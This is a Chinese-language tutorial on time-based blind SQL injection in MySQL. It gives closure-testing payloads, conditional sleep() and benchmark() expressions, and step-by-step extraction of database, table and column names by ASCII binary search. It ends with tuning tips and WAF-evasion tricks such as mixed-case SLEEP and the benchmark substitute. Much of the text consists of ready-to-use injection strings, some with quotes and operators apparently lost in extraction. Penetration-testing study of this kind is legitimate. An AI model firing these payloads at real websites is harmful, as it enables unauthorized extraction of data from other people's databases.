
一、什么是时间盲注时间盲注Time-Based Blind Injection——它利用的是数据库的睡眠函数如SLEEP()通过判断页面响应时间是否被人为延长从而逐字符“抠”出数据。二、时间盲注的利用前提① 存在 SQL注入 漏洞② 数据库支持延时函数③ 网络延迟稳定三、确认时间盲注可用核心目标找到能让 SLEEP() 函数正常执行的闭合方式。判断标准如果某组闭合下页面延迟了约N秒说明该闭合有效如果立即返回则该闭合无效或条件为假。序号场景类型测试输入预期现象响应时间结论1基准测试?id1立即返回 200ms基准状态2数字型 - 真测试?id1 and sleep(5)延迟约 5 秒确认为数字型时间盲注3数字型 - 假测试?id1 and 12 and sleep(5)立即返回确认AND短路有效逻辑可靠4字符型 - 真测试?id1 and sleep(5) --延迟约 5 秒确认为单引号闭合5字符型 - 真测试?id1 and sleep(5) --延迟约 5 秒确认为双引号闭合6字符型 - 真测试?id1) and sleep(5) --延迟约 5 秒确认为单引号括号闭合7字符型 - 真测试?id1) and sleep(5) --延迟约 5 秒确认为双引号括号闭合8字符型 - 真测试?id1)) and sleep(5) --延迟约 5 秒确认为多层括号闭合9字符型 -假测试对应上方的闭合方式and 12 and sleep(5) --立即返回确认该闭合方式下AND逻辑正常重要结论上述测试中序号2~8只要有一个触发延迟该注入点就100%能用时间盲注。实战中 1’ 和 1’) 命中率最高优先测这两个。时间盲注使用核心函数函数 / 语句作用示例MySQLsleep(seconds)让数据库暂停执行 N 秒sleep(5)→ 暂停5秒benchmark(count, expr)重复执行表达式 N 次CPU密集型替代sleep绕过部分WAFbenchmark(10000000, md5(a))if(cond, true_val, false_val)条件判断函数if(11, sleep(5), 0)case when ... then ... end条件判断替代ifcase when 11 then sleep(5) else 0 end优先使用 AND SLEEP() 组合如 and if(…)比单纯的 if() 更灵活且能利用短路逻辑加快假条件的响应。四、时间盲注的详细步骤第一步判断数据库名长度利用 if sleep-- 猜测长度为 1假 → 立即返回?id1 and if(length(database())1, sleep(5), 0) -- -- 猜测长度为 8真 → 延迟5秒 ?id1andif(length(database())8,sleep(5),0)-- ✅ 页面卡了5秒通过逐个数1~20替换最终确定长度为 8。第二步逐位获取数据库名ASCII比较法截取第1位判断其ASCII码是否等于某个值-- 判断第1位是否等于 sASCII 115如果是则延迟5秒?id1andif(ascii(substr(database(),1,1))115,sleep(5),0)--实战中你不知道具体数值需要用二分法大于号配合 sleep-- 判断第1位 ASCII 是否 100?id1 and if(ascii(substr(database(),1,1))100, sleep(5), 0) -- 延迟说明大于100 -- 判断是否 120 ?id1andif(ascii(substr(database(),1,1))120,sleep(5),0)-- 立即返回说明在100~120之间-- 继续折半最终锁定 115第三步获取当前数据库下的表名-- 获取第一张表的长度假设是 users长度5?id1 and if(length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))5, sleep(5), 0) -- -- 获取第一张表的第1个字符u 117 ?id1andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schemadatabase()limit0,1),1,1))117,sleep(5),0)--第四步获取字段名与数据-- 获取 users 表第一个字段名的第1个字符?id1 and if(ascii(substr((select column_name from information_schema.columns where table_nameuserslimit0,1),1,1))117,sleep(5),0)--五、提高效率二分法 超时设置时间盲注极其耗时每猜一个字符要等5秒。手工测试时必须坚持两点技巧说明示例使用二分法不要用逐个试最坏127次用最多7次确定一个字符if(ascii(...) 64, sleep(5), 0)设置合理的延迟时间生产环境延迟设为1~2 秒不要设5秒配合timeout判断sleep(2)浏览器/脚本超时设为 3 秒优先确认长度再取值先跑length()确定总长度避免超出范围浪费请求先跑长度再跑内容六、时间盲注避坑指南序号坑点现象解决方案1网络延迟干扰服务器响应本来就要 500ms设sleep(1)根本不明显设sleep(3)或sleep(5)阈值设在2~3秒以上2AND短路导致 sleep 不执行写12 and sleep(5)永远立即返回因为12为假MySQL 直接短路判假条件用if(条件, sleep(5), 0)更稳妥不依赖短路3表名/数据库名含有大写二分法范围只跑97~122小写漏掉大写字母范围设为32~127包含大写、数字、下划线4子查询必须用括号包裹select table_name from ... limit 0,1报错写成(select table_name from ... limit 0,1)5sleep()被 WAF 拦截报错 403 或请求被拒绝换benchmark(10000000, md5(a))替代或尝试sleep(1)改为SLEEP(1)大小写混写6脚本误判超时假阳性网络突然卡顿假条件也超时脚本误以为真增加重试机制同一字符验证两次均超时才判为真7单次请求耗时过长跑 50 个字符每个字符 7 次请求 × 3 秒 21 分钟将sleep(3)改为sleep(1)阈值设 0.8 秒需配合稳定内网